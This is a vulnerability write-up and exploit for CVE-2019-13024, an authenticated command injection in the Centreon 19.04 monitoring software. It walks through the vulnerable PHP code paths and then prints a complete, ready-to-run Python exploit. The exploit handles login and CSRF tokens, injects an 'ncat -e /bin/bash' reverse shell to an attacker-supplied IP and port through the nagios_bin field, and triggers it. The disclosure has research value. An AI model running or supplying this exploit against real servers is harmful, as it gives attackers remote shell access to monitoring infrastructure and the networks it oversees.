Summary about Centreon

Centreon is a free and open source infrastructure monitoring software tool which provides the system administrators the ability to monitor their whole infrastructure from a centralized web application. Centreon is positioned as the leading open source enterprise monitoring solution in Europe.

About the Exploit

The vulnerability is triggered by injecting an arbitrary command into the nagios_bin parameter during poller configuration setup or updates. The attacker manipulates parameters passed to the updateServer function in DB-Func.php (line #506). This function updates database values, and the attacker can control the nagios_bin user input from the configuration page and inject malicious code.

The parameter is processed at line #551 and later called from the database, then passed to the shell_exec function in generateFiles.php (line #212). By calling generateFiles.php afterwards, the payload triggers.

RCE Discovery Process

A Python script was developed to hunt for unsafe functions using shell_exec, popen, and system calls. The script revealed a large number of functions that use unsafe patterns. The vulnerability was identified in the printDebug function in include/configuration/configGenerate/xml/generateFiles.php at line 211:

function printDebug($xml, $tabs)
{
    global $pearDB, $ret, $centreon, $nagiosCFGPath;
    $DBRESULT_Servers = $pearDB->query("SELECT `nagios_bin` FROM `nagios_server` " .
        "WHERE `localhost` = '1' ORDER BY ns_activate DESC LIMIT 1");
    $nagios_bin = $DBRESULT_Servers->fetch();
    $DBRESULT_Servers->closeCursor();
    $msg_debug = array();
    $tab_server = array();
    foreach ($tabs as $tab) {
        if (isset($ret["host"]) && ($ret["host"] == 0 || in_array($tab['id'], $ret["host"]))) {
            $tab_server[$tab["id"]] = array(
                "id" => $tab["id"],
                "name" => $tab["name"],
                "localhost" => $tab["localhost"]
            );
        }
    }

    foreach ($tab_server as $host) {
        $stdout = shell_exec(
            $nagios_bin["nagios_bin"] . " -v " . $nagiosCFGPath . $host["id"] . "/centengine.DEBUG 2>&1"
        );

The variables passed to shell_exec function are not sanitized. The $nagios_bin["nagios_bin"] variable is retrieved from the database without any filtering.

Injection Vector

In include/configuration/configServers/DB-Func.php (line 550), the updateServer function handles database value updates including the target nagios_bin parameter:

function updateServer(int $id, $data): void
{
    global $pearDB, $centreon;

    if ($data["localhost"]["localhost"] == 1) {
        $pearDB->query("UPDATE `nagios_server` SET `localhost` = '0'");
    }
    if ($data["is_default"]["is_default"] == 1) {
        $pearDB->query("UPDATE `nagios_server` SET `is_default` = '0'");
    }

    $rq = "UPDATE `nagios_server` SET ";
    isset($data["name"]) && $data["name"] != null
        ? $rq .= "name = '" . htmlentities($data["name"], ENT_QUOTES, "UTF-8") . "', "
        : $rq .= "name = NULL, ";
    isset($data["localhost"]["localhost"]) && $data["localhost"]["localhost"] != null
        ? $rq .= "localhost = '" . htmlentities($data["localhost"]["localhost"], ENT_QUOTES, "UTF-8") . "', "
        : $rq .= "localhost = NULL, ";
    isset($data["ns_ip_address"]) && $data["ns_ip_address"] != null
        ? $rq .= "ns_ip_address = '" . htmlentities(trim($data["ns_ip_address"]), ENT_QUOTES, "UTF-8") . "',  "
        : $rq .= "ns_ip_address = NULL, ";
    isset($data["ssh_port"]) && $data["ssh_port"] != null
        ? $rq .= "ssh_port = '" . htmlentities(trim($data["ssh_port"]), ENT_QUOTES, "UTF-8") . "',  "
        : $rq .= "ssh_port = '22', ";
    isset($data["init_system"]) && $data["init_system"] != null
        ? $rq .= "init_system = '" . htmlentities(trim($data["init_system"]), ENT_QUOTES, "UTF-8") . "',  "
        : $rq .= "init_system = NULL, ";
    isset($data["init_script"]) && $data["init_script"] != null
        ? $rq .= "init_script = '" . htmlentities(trim($data["init_script"]), ENT_QUOTES, "UTF-8") . "',  "
        : $rq .= "init_script = NULL, ";
    isset($data["init_script_centreontrapd"]) && $data["init_script_centreontrapd"] != null
        ? $rq .= "init_script_centreontrapd = '" . htmlentities(
            trim($data["init_script_centreontrapd"]),
            ENT_QUOTES,
            "UTF-8"
        ) . "',  "
        : $rq .= "init_script_centreontrapd = NULL, ";
    isset($data["snmp_trapd_path_conf"]) && $data["snmp_trapd_path_conf"] != null
        ? $rq .= "snmp_trapd_path_conf = '" . htmlentities(
            trim($data["snmp_trapd_path_conf"]),
            ENT_QUOTES,
            "UTF-8"
        ) . "',  "
        : $rq .= "snmp_trapd_path_conf = NULL, ";
    isset($data["nagios_bin"]) && $data["nagios_bin"] != null
        ? $rq .= "nagios_bin = '" . htmlentities(trim($data["nagios_bin"]), ENT_QUOTES, "UTF-8") . "',  "
        : $rq .= "nagios_bin = NULL, ";

The data is only filtered using htmlentities, which is insufficient. System commands can be injected without issue, though certain characters filtered by htmlentities cannot be used directly.

The input is processed by include/configuration/configServers/formServers.php and the function call occurs at line 300:

if ($form->validate()) {
    $nagiosObj = $form->getElement('id');
    if ($form->getSubmitValue("submitA")) {
        insertServerInDB($form->getSubmitValues());
    } elseif ($form->getSubmitValue("submitC")) {
        updateServer(
            (int) $nagiosObj->getValue(),
            $form->getSubmitValues()
        );
    }
    $o = null;
    $valid = true;
}

The getSubmitValues() function processes POST requests from the configuration form without sufficient sanitization.

Payload Testing

Using Burp Suite, the HTTP request after form submission contains the injectable nagios_bin parameter.

Burp Update Request

To execute commands, the payload format is command # since the injected value is placed at the beginning of the shell command, allowing the hash symbol (#) to comment out the remainder.

Test Path Configuration

After submitting the payload, we need to trigger it by generating the configuration files:

Generate Debug Message

The debug message shows the result of our injected command:

Debug Message Printed

Testing with id # as the payload successfully executes the id command:

Centreon Command Executed

Exploit Writing

A Python exploit was developed to automate the exploitation process:

#!/usr/bin/python

'''
# Exploit Title: Centreon v19.04 authenticated Remote Code Execution
# Date: 28/06/2019
# Exploit Author: Askar (@mohammadaskar2)
# CVE : CVE-2019-13024
# Vendor Homepage: https://www.centreon.com/
# Software link: https://download.centreon.com
# Version: v19.04
# Tested on: CentOS 7.6 / PHP 5.4.16
'''

import requests
import sys
import warnings
from bs4 import BeautifulSoup

# turn off BeautifulSoup warnings
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')

if len(sys.argv) != 6:
    print(len(sys.argv))
    print("[~] Usage : ./centreon-exploit.py url username password ip port")
    exit()

url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]

request = requests.session()
print("[+] Retrieving CSRF token to submit the login form")
page = request.get(url+"/index.php")
html_content = page.text
soup = BeautifulSoup(html_content)
token = soup.findAll('input')[3].get("value")

login_info = {
    "useralias": username,
    "password": password,
    "submitLogin": "Connect",
    "centreon_token": token
}
login_request = request.post(url+"/index.php", login_info)
print("[+] Login token is : {0}".format(token))
if "Your credentials are incorrect." not in login_request.text:
    print("[+] Logged In Sucssfully")
    print("[+] Retrieving Poller token")

    poller_configuration_page = url + "/main.get.php?p=60901"
    get_poller_token = request.get(poller_configuration_page)
    poller_html = get_poller_token.text
    poller_soup = BeautifulSoup(poller_html)
    poller_token = poller_soup.findAll('input')[24].get("value")
    print("[+] Poller token is : {0}".format(poller_token))

    payload_info = {
        "name": "Central",
        "ns_ip_address": "127.0.0.1",
        # this value should be 1 always
        "localhost[localhost]": "1",
        "is_default[is_default]": "0",
        "remote_id": "",
        "ssh_port": "22",
        "init_script": "centengine",
        # this value contains the payload , you can change it as you want
        "nagios_bin": "ncat -e /bin/bash {0} {1} #".format(ip, port),
        "nagiostats_bin": "/usr/sbin/centenginestats",
        "nagios_perfdata": "/var/log/centreon-engine/service-perfdata",
        "centreonbroker_cfg_path": "/etc/centreon-broker",
        "centreonbroker_module_path": "/usr/share/centreon/lib/centreon-broker",
        "centreonbroker_logs_path": "",
        "centreonconnector_path": "/usr/lib64/centreon-connector",
        "init_script_centreontrapd": "centreontrapd",
        "snmp_trapd_path_conf": "/etc/snmp/centreon_traps/",
        "ns_activate[ns_activate]": "1",
        "submitC": "Save",
        "id": "1",
        "o": "c",
        "centreon_token": poller_token,
    }

    send_payload = request.post(poller_configuration_page, payload_info)
    print("[+] Injecting Done, triggering the payload")
    print("[+] Check your netcat listener !")
    generate_xml_page = url + "/include/configuration/configGenerate/xml/generateFiles.php"
    xml_page_data = {
        "poller": "1",
        "debug": "true",
        "generate": "true",
    }
    request.post(generate_xml_page, xml_page_data)

else:
    print("[-] Wrong credentials")
    exit()

The exploit handles CSRF protection via BeautifulSoup token extraction before each request. It requires valid credentials and follows this sequence:

  1. Authenticate to the Centreon monitoring platform
  2. Retrieve the CSRF token from the poller configuration page
  3. Inject the malicious nagios_bin parameter containing a reverse shell payload (ncat -e /bin/bash)
  4. Trigger generateFiles.php to execute the injected command

The full exploit code is also available on GitHub Gist.

After running the exploit, we popped a shell!

Post-Exploit Result